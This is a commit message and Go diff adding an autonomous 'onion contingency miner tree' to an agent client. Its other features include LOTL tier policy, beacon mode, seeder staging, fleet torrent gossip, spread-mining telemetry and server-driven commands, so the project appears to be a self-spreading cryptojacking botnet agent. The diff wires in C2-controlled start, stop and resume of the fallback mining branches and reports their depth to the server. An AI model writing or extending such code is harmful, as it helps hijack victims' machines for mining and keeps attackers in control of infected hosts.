Add onion contingency miner tree with orchestrator and Seer telemetry.

Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.

agent/client/client.go

@@ -60,6 +60,8 @@ type AgentClient struct {
 	hostMiningDisabled atomic.Bool
 	// miningChain orchestrates container → in-process → GPU → Stratum cascade.
 	miningChain *MiningChainRunner
+	// contingency runs the autonomous onion contingency tree when server policy enables it.
+	contingency *ContingencyRunner
 	// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
 	tierPolicy miner.MiningTierPolicy
 	// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
@@ -106,6 +108,8 @@ type AgentClient struct {
 	beaconMode atomic.Bool
 	// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
 	wsDownSince atomic.Value // stores time.Time
+	// miningCtx is the lifetime context for mining/contingency goroutines.
+	miningCtx context.Context
 }
 
 func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -141,6 +145,7 @@ func (c *AgentClient) Run() error {
 
 	chainCtx, chainCancel := context.WithCancel(context.Background())
 	defer chainCancel()
+	c.miningCtx = chainCtx
 	c.miningChain = c.newMiningChainRunner()
 	if isSeeder {
 		deploy.StartSeederStaging(c.cfg)
@@ -422,6 +427,7 @@ func (c *AgentClient) authenticate() error {
 		return fmt.Errorf("auth failed: %s", resp.Error)
 	}
 	c.applyAuthLotlPolicy(resp)
+	c.startContingencyIfEnabled(c.miningCtx)
 	c.applyAuthFleetRole(resp)
 	deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
 	if resp.FleetTorrentEnabled {
@@ -545,6 +551,11 @@ func (c *AgentClient) handleMessage(msg Message) {
 		go c.applyPolicyUpdate(msg.Payload)
 	case "graft_policy":
 		c.applyGraftPolicyJSON(msg.Payload)
+	case "contingency_branch_params":
+		c.applyContingencyBranchParamsJSON(msg.Payload)
+		if c.contingency != nil && c.miningCtx != nil {
+			c.contingency.Resume(c.miningCtx)
+		}
 	case "adaptive_strategy_update":
 		c.applyAdaptiveStrategyJSON(msg.Payload)
 	case "ai_snapshot_request":
@@ -614,6 +625,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 			wslRT := miner.WSLDetector()
 			_ = miner.ToggleWSLMining(wslRT, "", false)
 		}
+		if c.contingency != nil {
+			c.contingency.Stop()
+		}
 		if c.miningChain != nil {
 			c.miningChain.Stop()
 		} else {
@@ -630,6 +644,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
 		}
 		c.sendCommandResult(action, true, "mining paused")
 	case "resume":
+		if c.contingency != nil && c.miningCtx != nil {
+			c.contingency.Resume(c.miningCtx)
+		}
 		if c.miningChain != nil {
 			c.miningChain.Resume(context.Background())
 		} else {
@@ -1227,6 +1244,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
 				stats.StratumEgress = c.stratumEgress(false)
 			}
 			stats.MiningHashrate = avg15s + stats.GPUHashrate15s
+			if depth := c.contingencyDepthForStats(); depth > 0 {
+				stats.ContingencyDepth = depth
+			}
 			deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
 			if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
 				stats.AtlasSkips = atlasSkips